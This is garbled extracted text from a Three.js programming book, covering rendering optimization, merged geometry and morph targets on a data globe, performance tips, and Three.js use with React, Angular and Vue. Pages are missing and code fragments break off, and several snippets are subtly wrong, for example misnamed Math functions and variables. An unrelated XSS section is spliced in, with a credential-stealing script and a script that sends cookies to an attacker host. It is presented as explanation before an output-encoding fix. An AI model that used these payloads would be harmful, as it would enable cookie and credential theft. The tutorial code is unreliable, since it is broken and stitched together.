Although there are other 3D JavaScript libraries available, a quick Google
search reveals that Three.js is the most popular, ranking first on most lists.
It has a large community on GitHub, with more than 1,500 contributors
at the time of writing and it is patched and updated on monthly basis, and
it remains quite reliable. Not to mention that their official website has an
almost unlimited number of open-source examples, so if you are stuck on
a certain subject, you might find the answer there.
This chapter has made us understand how to create an application
which is a fan Spotify application that keeps a track of the views, down-
loads of the song along with the fan loyalty test. We would suggest looking
at other libraries for yourself because they may be better suited to your
goals. However, Three.js is likely to have everything you require for your
3D project.
Chapter 5
Code Optimization
IN THIS CHAPTER
In the first example, we just need to triage the scene and delete some
3D objects.
The work in the second situation is more detailed. We’ll simplify our
models by removing as many faces as feasible using our 3D modeling pro-
gram. For example, all the faces that are hidden and not visible to the
camera can be removed.
Certain programs, such as Blender, even have features for automatically
simplifying 3D structures.
Anti-Aliasing Is Disabled
Deactivating anti-aliasing in the rendering engine is a simple technique to
improve our application’s performance in return for some visible pixels.
Code Optimization ◾ 129
//Enabled
renderer = new THREE.WebGLRenderer( { antialias : true
} );
//---------------------
//Disabled
renderer = new THREE.WebGLRenderer( { antialias :
false } );
//Base value
renderer.setPixelRatio( window.devicePixelRatio );
//Lower résolution
renderer.setPixelRatio( window.devicePixelRatio * 2.5
);
As you may have seen, the increase in fps (from 24 to 60) is tremendous,
but the graphic quality has suffered significantly.
130 ◾ Conquering JavaScript: Three.js
Note that this value can be changed; a pixel ratio of 0.8 will be consid-
erably less visible graphically than 2.5 but will be less efficient in terms of
gaining fps.
ncols 460
nrows 155
xllcorner -170
yllcorner -90
cellsize 0.99999999999995
NODATA_value -9999
-888 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -9999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
Code Optimization ◾ 131
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -999 -999
-999 -999...
-999 -999 -999 -999 -999 -999 -999 -999 -9999 -9999
-9999 -9999...
-9999 -9999 -9999 -9999 -9999 -9999 -9999 -9999 -9999
-9999 -9999 -9999...
9.241768 8.790958 2.095345 -9999 0.05114867 -9999
-9999 -9999 -9999 -999...
1.287993 0.4395509 -9999 -9999 -9999 -9999 -9999
-9999 -9999 -9999 -9999...
-9999 -9999 -9999 -9999 -9999 -9999 -9999 -9999 -9999
-9999 -9999 -9999...
A few lines act as key/value pairs, followed by lines with a value per grid
point, one line for each row of data points. Let’s try to plot the data in 2D
to make sure we understand it. To begin, some code to load the text file is
required.
The code above returns a promise containing the file’s contents at url;
We’ll need some code to parse the file after that.
function parseData(text) {
const data = [];
const settings = {data};
let max;
let min;
// split into lines
text.split('\n').forEach((line) => {
// split the line by whitespace
const parts = line.trim().split(/\s+/);
132 ◾ Conquering JavaScript: Three.js
if (parts.length === 5) {
// 5 parts, must be a key/value pair
settings[parts[0]] = parseFloat(parts[1]);
} else if (parts.length > 5) {
// more than 2 parts, must be data
const values = parts.map((v) => {
const value = parseFloat(v);
if (value === settings.NODATA_value) {
return undefined;
}
max = Math.maximum(maximum === undefined?
value : max, value);
min = Math.mininimum(minimum === undefined?
value : min, value);
return value;
});
data.push(values);
}
});
return Object.assign(settings, {min, max});
}
The code above returns an object containing all of the file’s key/value
pairs, as well as a data property containing all of the data in one huge array
and the data’s min and max values. Then we’ll need some code to display
the information.
function drawData(file) {
const {min, max, data} = file;
const range = max - min;
const ctx = document.querySelector('canvas').
getContext('2d');
// the canvas should be the same size as the data
ctx.canvas.width = ncols;
ctx.canvas.height = nrows;
// but display it double size so it's not too small
ctx.canvas.style.width = px(ncols * 2);
ctx.canvas.style.height = px(nrows * 2);
// fill the canvas to dark gray
ctx.fillStyle = '#444';
ctx.fillRect(2, 2, ctx.canvas.width, ctx.canvas.
height);
Code Optimization ◾ 133
function px(v) {
return '${v | 0}px';
}
function hsl(h, s, l) {
return 'hsl(${h * 360 | 0},${s * 100 | 0}%,${l * 100
| 0}%)';
}
loadFile('resources/data/gpw/gpw-v4-basic-demographic-
characteristics-rev10_a000_014_2010_1_deg_asc/gpw_v4_
basic_demographic_characteristics_rev10_
a000_014mt_2010_cntm_1_deg.asc')
.then(parseData)
.then(drawData);
gives us this result.1 That appears to work. Let’s see how it looks in 3D.
We’ll build one box each data in the file, starting with the code from ren-
dering on demand. Let’s start by making a simple sphere with a world
texture. Here’s how the texture looks.
Also included is the setup code.
{
const loader = new THREE.TextureLoader();
134 ◾ Conquering JavaScript: Three.js
When the texture has finished loading, notice the call to render. Because
we’re rendering on demand rather than continuously, we’ll only need to
render once when the texture is loaded. Then, we must alter the code that
previously created a dot per data point to create a box per data point.
function addBoxes(file) {
const {min, max, data} = file;
const range = max - min;
// make one box geometry
const boxWidth = 15;
const boxHeight = 15;
const boxDepth = 15;
const geometry = new THREE.BoxBufferGeometry
(boxWide, boxHigh, boxDeep);
// make it so it scales away from the positive C
axis
geometry.applyMatrix(new THREE.Matrix4().
makeTranslation(1, 1, 0.75));
positionHelper.position.z = 1;
latHelper.add(positionHelper);
from the center if we didn’t do this, but we want them to grow away from
the origin.
Of course, we could remedy this by giving the box more THREE par-
ents. Object3D objects are similar to scene graphs, except scene graphs
become slower as more nodes are added. This little hierarchy of lonHelper,
latHelper, and positionHelper nodes was also created. These objects are
used to determine where the box should be placed on the sphere.
We could do all of the work manually to figure out positions on the
globe, but doing it this way leaves the majority of the math to the library,
which we don’t have to worry about. We make a MeshBasicMaterial and a
Mesh for each data point, then ask for the positionHelper’s world matrix
and apply it to the new Mesh. Finally, the mesh is scaled in its new loca-
tion. For each new box, we could have built a latHelper, lonHelper, and
positionHelper, but that would have been much slower.
We’re planning to make up to 368 × 125 boxes. This amounts to
46,000 boxes. The real number of boxes we’ll construct is roughly 15,000
because certain data points are designated as “NO DATA.” There would
be roughly 60,000 scene graph nodes if we included 3 extra assistance
objects per box. For this, js would have to compute positions. We save
roughly 40,000 operations by using one set of helpers to just position the
meshes.
A remark on the terms lonFudge and latFudge. lonFudge is /4, which
equals a quarter turn. That’s reasonable. It simply indicates that the texture
or texture coordinates begin at a different offset throughout the world. On
the other side, I’m not sure why it needs to be -0.135; it’s just a number that
made the boxes align with the texture. Calling our loader is the final thing
we need to do.
loadFile('resources/data/gpw/gpw-v4-basic-demographic-
characteristics-rev10_a000_014_2010_1_deg_asc/gpw_v4_
basic_demographic_characteristics_rev10_
a000_014mt_2010_cntm_1_deg.asc')
.then(parseData)
.then(addBoxes)
.then(render);
the frame rate by launching devtools and activating the browser’s frame
rate meter. On my system, the frame rate is less than 20 fps.
This doesn’t feel awesome to me, and I’m sure many people have
slower machines, which would exacerbate the situation. We should
look into optimizing. For this problem, we can combine all of the
boxes into a single shape. We are now sketching approximately 19,000
boxes. We would save 18,999 operations by combining them into a sin-
gle geometry. Here’s the updated code for combining the boxes into a
single shape.
function addBoxes(file) {
const {min, max, data} = file;
const range = max - min;
// These assistants will make it simple to place the
boxes
// The lon helper can be rotated to the longitude on
its Y axis
const lonHelper = new THREE.Object3D();
scene.add(lonHelper);
//The latHelper is rotated on its A axis to the
latitude
const latHelper = new THREE.Object3D();
lonHelper.add(latHelper);
// The object is moved to the sphere's edge via the
position helper
const positionHelper = new THREE.Object3D();
positionHelper.position.c = 10;
latHelper.add(positionHelper);
// Used to adjust the box's centre so that it scales
from the C axis location.
const originHelper = new THREE.Object3D();
originHelper.position.z = 0.5;
positionHelper.add(originHelper);
const lonFudge = Math.PI * .5;
const latFudge = Math.PI * -0.135;
const geometries = [];
data.forEach((row, latNdx) => {
row.forEach((value, lonNdx) => {
if (value === undefined) {
return;
}
138 ◾ Conquering JavaScript: Three.js
We deleted the code that was modifying the center point of the box
geometry above and replaced it with an originHelper. Previously, we used
the same geometry 19,000 times. This time, we’re producing fresh geom-
etry for each and every box, and because we’re going to use applyMa-
trix to shift the vertices of each box geometry, we might as well do it
once rather than twice. Finally, we pass an array containing all of the
geometries to BufferGeometryUtils.mergeBufferGeometries that will
integrate them all into a single mesh. We must additionally include the
BufferGeometryUtils.
Code Optimization ◾ 139
info.file = parseData(text);
}
await Promise.all(fileInfos.map(loadData));
...
}
loadAll();
After the code above loads all of the files in fileInfos, each object in
fileInfos will have a file property with the loaded file. We’ll utilize the
Code Optimization ◾ 141
names and hueRange later. A UI field will have the name. hueRange will
be used to select a color range to map to.
As of 2010, the two files above appear to be the number of men and
women per area. Note that I have no idea if this information is accurate,
but that isn’t really relevant. The most crucial component is displaying
various data sets.
Let’s make two more data sets. One is where the number of males is
more than the number of women, and vice versa, where the number of
women is greater than the number of men.
return value;
});
// make a copy of baseFile and displace minimum,
maximum, and data
// with the new data
return {...baseFile, minimum, maximum, data};
}
The code above employs mapValues to create a new set of data that is a
comparison of the compareFn function. It also keeps track of the results
of the minimum and maximum comparisons. Finally, it creates a new file
with the same properties as baseFile, but with updated min, max, and data
values. Let’s use that to create two new data sets.
{
const menInfo = fileInfos[0];
const womenInfo = fileInfos[1];
const menFile = menInfo.file;
const womenFile = womenInfo.file;
function amountGreaterThan(a, b) {
return Math.max(a - b, 0);
}
fileInfos.push({
name: '>50%men',
hueRange: [0.6, 1.1],
file: makeDiffFile(menFile, womenFile, (men,
women) => {
return amountGreaterThan(men, women);
}),
});
fileInfos.push({
name: '>50% women',
hueRange: [0.0, 0.4],
file: makeDiffFile(womenFile, menFile, (women,
men) => {
return amountGreaterThan(women, men);
}),
});
}
Code Optimization ◾ 143
Now we’ll provide a user interface to choose amongst these data sets.
We’ll need some UI html first.
<body>
<canvas id="c"></canvas>
<div id="ui"></div>
</body>
#ui {
position: absolute;
left: 1em;
top: 1em;
}
#ui>div {
font-size: 20pt;
padding: 1em;
display: inline-block;
}
#ui>div.selected {
color: red;
}
Then, we’ll go through each file and create a set of merged boxes for
each group of data, as well as an element that, when hovered over, will
reveal that set while hiding all others.
We should now be able to display four sets of data. To switch sets, move
your cursor over the labels or touch them.
There are a couple of odd data points worth mentioning. What’s the
deal with those? In any case, how do we transition between these four data
sets?
There are numerous suggestions.
new data set scales up to 1.0. This makes the transition less enjoyable.
A sophisticated custom shader could possibly remedy this.
• Employ Morphtargets.
Morphtargets are a method of providing numerous values for
each vertex in a geometry and morphing or lerping (linear interpo-
lating) between them. Morphtargets are most typically used for 3D
character facial motion, but they aren’t limited to that.
return false;
}
function makeBoxes(file, hueRange, fileInfos) {
const {min, max, data} = file;
const range = max - min;
...
const geometries = [];
data.forEach((row, latNdx) => {
row.forEach((value, lonNdx) => {
if (dataMissingInAnySet(fileInfos, latNdx,
lonNdx)) {
return;
}
const amount = (value - min) / range;
...
fileInfos.forEach((info) => {
const div = document.createElement('div');
info.elem = div;
div.textContent = info.name;
uiElem.appendChild(div);
function show() {
showFileInfo(fileInfos, info);
}
div.addEventListener('mouseover', show);
div.addEventListener('touchstart', show);
});
// show the first set of data
showFileInfo(fileInfos, fileInfos[0]);
We created geometry for each data set above, used the first as the base,
and then extracted a position attribute from each geometry and added it
as a morphtarget to the base geometry for position.
Now we need to adjust how the various data sets are shown and hidden.
We need to change the morphtargets’ influence instead of showing or hid-
ing a mesh. We need an influence of 1 for the data set we want to see, and
a zero for the ones we don’t want to see.
We could simply change them to 0 or 1, but that would result in no
animation; it would simply snap, which would be identical to what we now
have. We could develop our own animation code, which would be simple,
but because the original webgl globe utilizes an animation library, we’ll
stick with it.
The library must be included.
fileInfos.forEach((info, i) => {
const visible = fileInfo === info;
info.elem.className = visible? 'selected' : '';
targets[i] = visible? 1 : 0;
});
const durationInMs = 1000;
new TWEEN.Tween(mesh.morphTargetInfluences)
.to(targets, durationInMs)
.start();
requestRenderIfNotRequested();
}
class TweenManger {
constructor() {
this.numTweensRunning = 0;
}
_handleComplete() {
--this.numTweensRunning;
console.assert(this.numTweensRunning >= 0);
}
createTween(targetObject) {
const self = this;
++this.numTweensRunning;
let userCompleteFn = () => {};
// install our own onComplete callback in a new
tween
const tween = new TWEEN.Tween(targetObject).
onComplete(function(...args) {
self._handleComplete();
userCompleteFn.call(this, ...args);
});
Code Optimization ◾ 149
function main() {
const canvas = document.querySelector('#c');
const renderer = new THREE.WebGLRenderer({canvas});
const tweenManager = new TweenManger();
...
Then, if there are still animations occurring, we’ll update our render
loop to update the tweens and continue rendering.
function render() {
renderRequested = false;
if (resizeRendererToDisplaySize(renderer)) {
const canvas = renderer.domElement;
camera.aspect = canvas.clientWidth / canvas.
clientHeight;
camera.updateProjectionMatrix();
}
if (tweenManager.update()) {
requestRenderIfNotRequested();
}
controls.update();
renderer.render(scene, camera);
}
render();
That appears to work, however, we’ve lost the colors. Three.js does not
allow morphtarget colors, and the original webgl globe had this problem
as well. It essentially creates colors for the first data set. Any additional
datasets, no matter how dissimilar, utilize the same colors. Let’s see if we
can add color morphing support. This could be fragile. Although writing
our own shaders would be the least brittle option, I believe it would be
beneficial to learn how to change the built-in shaders.
The first step is to make the code extract color as a BufferAttribute from
the geometry of each data set.
#include <common>
#include <uv_pars_vertex>
#include <uv2_pars_vertex>
#include <envmap_pars_vertex>
#include <color_pars_vertex>
#include <fog_pars_vertex>
#include <morphtarget_pars_vertex>
#include <skinning_pars_vertex>
#include <logdepthbuf_pars_vertex>
#include <clipping_planes_pars_vertex>
void main() {
#include <uv_vertex>
#include <uv2_vertex>
#include <color_vertex>
#include <skinbase_vertex>
#ifdef USE_ENVMAP
#include <beginnormal_vertex>
#include <morphnormal_vertex>
#include <skinnormal_vertex>
#include <defaultnormal_vertex>
#endif
152 ◾ Conquering JavaScript: Three.js
#include <begin_vertex>
#include <morphtarget_vertex>
#include <skinning_vertex>
#include <project_vertex>
#include <logdepthbuf_vertex>
#include <worldpos_vertex>
#include <clipping_planes_vertex>
#include <envmap_vertex>
#include <fog_vertex>
}
After looking through the remaining bits, we want to replace the mor-
phtarget pars vertex chunk. Chunk morphnormal vertex color pars vertex
chunk, morphtarget vertex chunk, and color vertex chunk.
To accomplish so, we’ll create a basic array of replacements and use
Material to apply them.
onBeforeCompile
Three.js also sorts morph targets and only uses the most powerful ones.
This allows for a greater number of morphtargets to be used as long as only
a few are used at a time. Unfortunately, there is no way to determine how
many morph targets will be used or which properties the morph targets
will be given to using Three.js. As a result, we’ll have to dig into the code
and see what it does. We’ll need to refactor this code if the algorithm in
Three.js changes.
154 ◾ Conquering JavaScript: Three.js
return updateMorphTargets;
}
// use a no-op update function until the data is
ready
let updateMorphTargets = () => {};
loadAll();
loadAll().then(fn => {
updateMorphTargets = fn;
});
Finally, after allowing the tween manager to change the values and
before rendering, we must use updateMorphTargets.
function render() {
...
if (tweenManager.update()) {
requestRenderIfNotRequested();
}
updateMorphTargets();
controls.update();
renderer.render(scene, camera);
}
And with that, both the colors and the boxes should be animated.
I hope you found this information useful. To move a large number of
objects, you can use morphtargets, either through Three.js’ services or by
implementing our own shaders. For example, we may assign each cube to
a random location in another target and then morph them back to their
original placements on the globe. That could be an interesting approach
to introduce the world. The next step is to add labels to a globe, which is
discussed in Aligning HTML Elements to 3D.
156 ◾ Conquering JavaScript: Three.js
String firstNameParameter=(String)request.
getParameter("firstName");
XSS Reflection
It is tragic for each victim individually. When a malicious payload is sent to
a victim, they click on the malicious URL, giving the hacker access to their
cookies and other data. Here’s an example of a payload that, if performed
by the victim, gives the attacker access to their personal information.
Code Optimization ◾ 157
https://mybank.com/submitForm.do?customer=
<script>
function+stealCredentials()
{
location.href="www.sitename.com?name=document.myform.
username.value
&password=document.myform.pword.value"
}
</script>
// The entire script should be supplied as a url
; it has been presented this way to make it easier to
read.
";catch(e){}alert('injected');try(a=" // our
payload
XSS Cache
When a code is injected into the server-side software that is being hosted,
this attack occurs. As a result, every time a person visits a specific webpage
or link, they become a victim of a cached XSS attack. If an image on the
page is injected in such a way that the malicious script (shown below) is
loaded instead of the picture and then takes the user’s cookie, a stored XSS
attack can be carried out.
<script>newImage().src="http://myevilhackersite.com/
login.cgi?c="+encodeURI(document.cookie);</script>
// our payload
158 ◾ Conquering JavaScript: Three.js
System.out.println("<HTML><HEAD><BODY>Hello + "
+ request.getParameter("firstName") + "</BODY>
</HTML>");
After the input has been sanitized by our regex sanitizer, we’ll make a
few minor changes to the above code before passing the value to the print
statement.
System.out.println("<HTML><HEAD><BODY>Hello + "
+ Encoder().encodeForHTML(sanitisedFirstNameVariable)
+ "</BODY></HTML>");
• HTML Text
• HTML Attribute
• URL
• JavaScript
• Cascading Stylesheets (CSS)
• At the very least, your renderer will be red if you obtain a red canvas.
Now that render calls are working, you can focus on determining
what else is incorrect.
• Check that your scene has a light and that it is illuminating your
objects#
Most materials in Three.js, like in the real world, require light to
be visible.
• With a MeshBasicMaterial#, you can override all materials in the
scene.
The MeshBasicMaterial is a substance that does not require light
to be visible. If you’re having difficulties getting objects to appear,
you can use MeshBasicMaterial to temporarily override all of the
materials in your scene. If the things materialize magically when you
do this, you have a light problem.
• Is your object within the seeing frustum of the camera? Your object
will be clipped if it is not within the viewing frustum. Make your far
clipping plane as large as possible:
camera.far = 100000;
camera.updateProjectionMatrix();
camera.position.z = 10;
• Consider the scale of your scenario# Visualize your scene and keep
in mind that one unit in Three.js equals 1 m. Is everything reason-
ably logically connected? Alternatively, maybe you can’t see anything
since the object you just loaded is merely 0.00001 m wide. What is
that tiny black dot in the center of the screen, anyway?
GENERAL TIPS
• Object creation is expensive in JavaScript, so don’t generate objects
in a loop. Instead, build a single object, such as a Vector3, and reuse
it inside the loop with vector.set() or comparable methods.
• Your render loop is no different. Do as little work as feasible in your
render loop to ensure your program operates at a buttery smooth 60
fps. Create new items only once in a while.
• BufferGeometry is always preferred over Geometry since it is
faster.
• The buffer geometry version should always be used for prebuilt
objects (BoxBufferGeometry rather than BoxGeometry).
162 ◾ Conquering JavaScript: Three.js
WORK IN SI UNITS
• Everywhere in JavaScript, SI units are used. You will discover that
things go more easily if you use SI units as well. If you must use a
different type of unit, such as inches (shudder), make sure you have a
compelling rationale for doing so.
SI Units
Accurate Colors
Use these renderer parameters for (almost) accurate colors:
renderer.gammaFactor = 2.2;
renderer.outputEncoding = THREE.sRGBEncoding;
Finally, only set the texture encoding for the color, environment, and
emissive maps to get (almost) proper colors in your textures:
The linear color space should be used for all other texture types.
Because this is the default, you don’t need to change the encoding for any
textures except color, environment, and emissive maps. Because Three.js
color management isn’t quite right at the time, I’m saying nearly correct.
Hopefully, that will be rectified soon, but until then, any color mistake
will be so subtle that no one will notice unless you’re performing scientific
or medical representations.
JavaScript
The JavaScript engines that web browsers use change often, and they
optimize your code a lot behind the scenes. Always test, don’t trust your
instincts about what will be faster. Don’t believe publications from a few
years back that said you should avoid using array.map or array.forEach.
Try them out for yourself, or look for stories from the last few months that
include thorough tests.
Alternatively, gltfpack, a new child on the block, may provide even bet-
ter results than Draco in some circumstances.
Consider utilizing layers if you need to make huge groupings of items
visible and invisible (or add/remove them from your scene).
Camera
To improve performance, make your frustum as small as feasible. It’s
fine to utilize a huge frustum in development, but once you’re ready to
release your app, keep it as tiny as possible to save a few precious frames
per second.
To eliminate flickering, make sure everything is in order on the far clip-
ping plane (particularly if your far clipping plane is really big).
Renderer
If you don’t need preserveDrawingBuffer, disable it.
If you don’t need the alpha buffer, turn it off.
If you don’t require the stencil buffer, disable it.
If you don’t require the depth buffer, turn it off (but you probably do
need it).
When constructing the renderer, use powerPreference: “high-perfor-
mance.” In multi-GPU systems, this may encourage the user’s system to
select the high-performance GPU.
Only render when the camera position changes by epsilon or when
there is an animation.
You can listen for the control’s change event if your scene is static and
uses OrbitControls. You can render the scene just when the camera moves
in this way:
OrbitControls.addEventListener("change", () =>
renderer.render(scene, camera));
Lights
SpotLight, PointLight, RectAreaLight, and DirectionalLight are examples
of direct lights. In your sceneries, use as little direct lights as feasible.
If you add or remove lights from your scene, the WebGLRenderer will
have to recompile all shader applications (it does cache the programs so
subsequent times that you do this, it will be faster than the first). Use light
instead, false or light = visible 0, intensity.
Code Optimization ◾ 165
Shadows
If your scene is static, instead of updating the shadow map every frame,
only update it when something changes.
To visualize the shadow camera’s viewing frustum, use a CameraHelper.
Reduce the size of the shadow frustum as much as feasible.
Reduce the resolution of the shadow texture as much as possible.
Remember that point light shadows are more expensive than other
shadow types because they must be rendered six times (once in each direc-
tion), whereas DirectionalLight and SpotLight shadows only need to be
rendered once.
While we’re on the subject of PointLight shadows, keep in mind that
when used to display point light shadows, the CameraHelper only shows
one of the six shadow directions. It’s still useful, but the other five orienta-
tions will require some creativity.
Materials
MeshLambert Material does not function with glossy materials,
but it works well with matte materials like fabric and is faster than
MeshPhongMaterial.
If you’re using morph targets, make sure morphTargets = true is set in
your material, else they won’t work.
The same is true for morph normals.
Also, if you’re making skeleton animations with a SkinnedMesh, make
sure the material is correct.
Skinning is correct.
It is not possible to exchange materials used with morph targets, morph
normals, or skinning. Each skinned or morphing mesh will require its
own material (material.clone() is your friend here).
CUSTOM MATERIALS
Don’t update your uniforms every frame, only when they change.
Geometry
LineLoop should be avoided since it must be imitated by line strip.
166 ◾ Conquering JavaScript: Three.js
Textures
All of your textures must be in the power of two formats: 1, 2, 4, 8, 16, …,
512, 2048, ….
Don’t make any changes to the texture dimensions. Instead, make new
ones because it is quicker.
Use the smallest texture sizes feasible (can a 256 × 256 tiled texture be
used?). You could be pleasantly surprised!).
Linear or closest filtering, as well as clamp-to-border or clamp-to-edge
wrapping, is required for nonpower-of-two (NPOT) textures. Repeat
wrapping and mipmap filtering are not supported. But honestly, refrain
from using NPOT textures.
Because all textures with the same dimensions take up the same amount
of memory, JPG may have a smaller file size than PNG, but it will use the
same amount of GPU RAM.
Anti-Aliasing
Geometry made up of many thin straight sections aligned parallel to one
another is the worst-case scenario for anti-aliasing. Consider metal win-
dow shades or a lattice fence as examples. Avoid using geometry like this
in your scenarios if at all feasible. If you don’t have a choice, try replacing
the lattice with a texture, which may yield better results.
Postprocessing
With postprocessing, the built-in anti-aliasing does not operate (at least in
WebGL 1). You’ll have to do it manually with FXAA or SMAA (probably
faster, better).
Because you’re not using the built-in AA, make sure it’s turned off!
Three.js has a ton of postprocessing shaders, which is fantastic! But
keep in mind that each pass necessitates rendering the entire scene. After
you’ve finished testing, consider combining your tests into a single custom
pass. This requires a little more effort, but it can result in significant per-
formance gains.
Advanced Tips
TriangleFanDrawMode is very sluggish. When you have hundreds or
thousands of comparable geometries, use geometry instancing. Animate
vertices and particles on the GPU rather than the CPU.
SUMMARY
In this chapter, we learned about writing the code in a correct and precise
way. Also, we have learned how to maintain the security, while writing a
code to avoid any leakage of information. Last we concluded with some
general tips and trips that are to be kept in mind while writing about the
code in Three.js.
NOTES
1. Threejsfundamentals-threejsfundamentals.org.
2. Three.js Rendering on https://threejsfundamentals.org/threejs/lessons/fr/
threejs-rendering-on-demand.html.
Chapter 6
Summary
IN THIS CHAPTER
<canvas id="scene"></canvas>
You can also make the canvas with your favorite framework, such as
React, Vue.js, Svelte, or even your own custom framework, and then pass
it over to Three.js. The majority of web frameworks function by construct-
ing your app from separate, modular components. A contact form, a drop-
down menu, or an image gallery are all examples of React components.
In the same approach, we’ll arrange our Three.js applications so that we
end up with a single top-level component called a World that constructs
Summary ◾ 171
WHAT IS TYPESCRIPT?
While the Three.js library itself is not built in TypeScript, the repo and
NPM package contain “types” (these are files ending in .d.ts that live
alongside the JavaScript files in the repo). As a result, Three.js will work in
tandem with a TypeScript project.
create-react-app react-three-fiber-ludo-model
The program above creates a React project on our local machine; now
we’ll cd into the directory and install the react-three-fiber and three
packages.
cd react-three-fiber-ludo-model
npm i three react-three-fiber
Let’s start our development server with the command once the pack-
ages are installed.
npm start
We construct a Box component using props in the code above and then
use the useRef hook to create a ref called mesh. We have done this so that
we can always return the same mesh.
A mesh is a visual element in a scene; it’s a 3D object that makes up a
triangular polygon; it’s usually built using a Geometry, which is used to
define the model’s shape, and Material, which is used to define the model’s
appearance; you can learn more about a Mesh here; and you can learn
more about the useRef hook here.
After initializing a mesh, we need to utilize the useState hook to create
a state for our application, where we set the hovered and active states to
false.
174 ◾ Conquering JavaScript: Three.js
Then, using the code below, we utilize the useFrame hook from react-
three-fiber to rotate the mesh (ludo dice).
mesh.current.rotation.x = mesh.current.rotation.y
+= 0.01;
To load a fresh dice roll, we create a constant named texture and send in
a react useMemo hook as a function, with the useMemo hook memoriz-
ing the dice picture and number. The useMemo hook is described in detail
here. Following that, we’ll render the Box component in the browser and
add our events, which we’ll accomplish below.
const Box = (props) => {
return (
<mesh
{...props}
ref={mesh}
scale={active ? [2, 2, 2] : [1.5, 1.5, 1.5]}
onClick={(e) => setActive(!active)}
>
<boxBufferGeometry args={[1, 1, 1]} />
<meshBasicMaterial attach="material" transparent
side={THREE.DoubleSide}>
<primitive attach="map" object={texture} />
</meshBasicMaterial>
</mesh>
);
}
We’re returning our Box component and wrapping it in the mesh in the
code above. We used the spread operator to send all of the Box compo-
nent’s properties, and then we referenced the mesh with the useRef hook.
Next, we utilize Three.js’ scale attribute to change the size of the dice box
from 2 to 1.5 while it’s active. Last but not the least, an onClick event was
added to set the state to active if it wasn’t already.
Ambient Light
This is used to evenly light all objects in a scene or model, and it accepts
props like light intensity. This will light the ludo dice’s body.
176 ◾ Conquering JavaScript: Three.js
Spot Light
The ludo dice’s points will be illuminated by this light, which is emitted
from a single direction and grows in intensity as the size of the object
grows larger.
pointLight
Functions similarly to a light bulb in that light is emitted from a single
point in all directions; this will be required for our application’s active
state.
Let’s put the aforementioned into practice on our app.
React and React Native applications can now easily render 3D models
and animations thanks to react-three-fiber. We learned about the basics
of Three.js, its components, and the benefits of react-three-fiber, as well as
how to utilize it, by making our 3D ludo dice box. You can go even farther
by utilizing react-three-fiber to create 3D models and animations in your
React and Native applications.
Summary ◾ 177
• You must first install Angular CLI before you can start an Angular
project.
You’re ready to start building an Angular web app with the CLI. Let’s
begin by entering the following command into the terminal.
ng new angular-three
We change our current directory into the project directory and install
Three.js as a dependency by executing the following command in the ter-
minal after the CLI has finished setting up the project.
cd angular-three
npm install — save three
Add a canvas to our empty scene by opening the HTML file. In the
HTML template, we may make the canvas of any size we want.
With this tiny step completed, we can turn our focus to the TypeScript
file, where the real work for creating our 3D scene awaits.
Stage characteristics:
Near and far clipping planes are imaginary planes situated along the
camera’s sight line at two different distances from the camera. In the view
of a camera, only items between the two clipping planes are drawn.
Summary ◾ 179
MATERIAL MANAGEMENT
An object’s appearance is described by its material. Texture, color, and
opacity can all be defined here. We’re merely going to set a texture in
this example. There are still a variety of materials to choose from. The
way they react to light is the fundamental distinction between them.
The MeshBasicMaterial is the most basic. This material is completely
unaffected by light, and each side will be the same hue. However, because
you can’t see the box’s edges, it might not be the greatest solution. The
MeshLambertMaterial is the most basic material that worries about
180 ◾ Conquering JavaScript: Three.js
light. This will determine the color of each vertex, which is equivalent
to each side. However, it does not proceed any further.
Positioning a Mesh (Cube in Our Case)
We can locate a Mesh (in our case, a cube) within the scene and rotate it
around each axis. We’ll largely alter these values later if we wish to ani-
mate things in 3D space. We use similar units that we used to set the size
for positioning. It makes no difference whether you use little or large num-
bers; all that matters is that you are consistent in your own reality. The
values for the rotation were set in radians. If your values are in degrees,
divide them by 180 degrees and multiply by PI.
Now we can create a code using the function explained above, the result
will be displayed on the page.2
With Vue.js and Three.js, You Can Create Stunning Sceneries
There are several libraries for creating scenes in Vue using Three.js avail-
able today:
- vue-threejs
- vue-gl
These libraries are useful for constructing small scenarios since they
make it simple to create basic 3D content, including physics. However, for
more complicated situations, we need more control over some aspects:
asset and scene management have never been easier.
THREE-based content creation.
We can accomplish just that with js vue-threejs-composer.
Features
Basic geometry, materials, and more sophisticated stuff will not be
included in this collection.
It will just implement a basis from which you can easily extend, as well
as some in-built functionalities to alleviate the user of common issues
encountered in standard Three.js projects:
<three>
<renderer :canvas="canvas" scene="scene1"
camera="main" antialias shadows/>
<group>
<position :value="{ x: 10, y: 3, z: 10 }"/>
<scale :value="{ x: 0.01, y: 0.01, z: 0.01
}"/>
...
</group>
</scene>
...
</three>
182 ◾ Conquering JavaScript: Three.js
...
<asset-bundle name="Forms">
<geometry name="cube" :factory="cubeFactory"/>
<geometry name="plane" :factory="planeFactory"/>
</asset-bundle>
Models
How often do you find it difficult to load 3D models? This library also con-
tains a simple method for loading materials into this type of asset.
<asset-bundle name="PM" preload>
<texture name="PM_Tex" src="/assets/textures/PM_
Texture_01.png"/>
<standard-material name="PM_Mat" map="PM_Tex"/>
<mesh model="PM_column">
<shadows cast receive deep/>
</mesh>
<mesh model="PM_column_top">
<shadows cast receive deep/>
</mesh>
</group>
</scene>
SUMMARY
In this chapter, we learned about the future scope of learning Three.js.
Also, we have learned how we can utilize other frameworks and blend it
with Three.js and enhance the quality of any web application.
184 ◾ Conquering JavaScript: Three.js
NOTES
1. A Dive Into React And Three.js Using react-three-fibre-Fortune Ikechi,
Smash Magazine.
2. Hello ███ Cube: THREE.js Scene in Angular-Anurag Srivastava, Geek
Culture.
REFERENCES
Using Three.js with React, Vue.js, Angular, Svelte ... – Discover Three.js, https://
discoverthreejs.com/book/introduction/threejs-with-frameworks/
A Dive into React and Three.js Using – Smashing Magazine, https://www.smash-
ingmagazine.com/2020/11/threejs-react-three-fiber/.
Bibliography
185
186 ◾ Bibliography
A game,
game creation with Three.js, 58–59
Adaptive design, 12–16
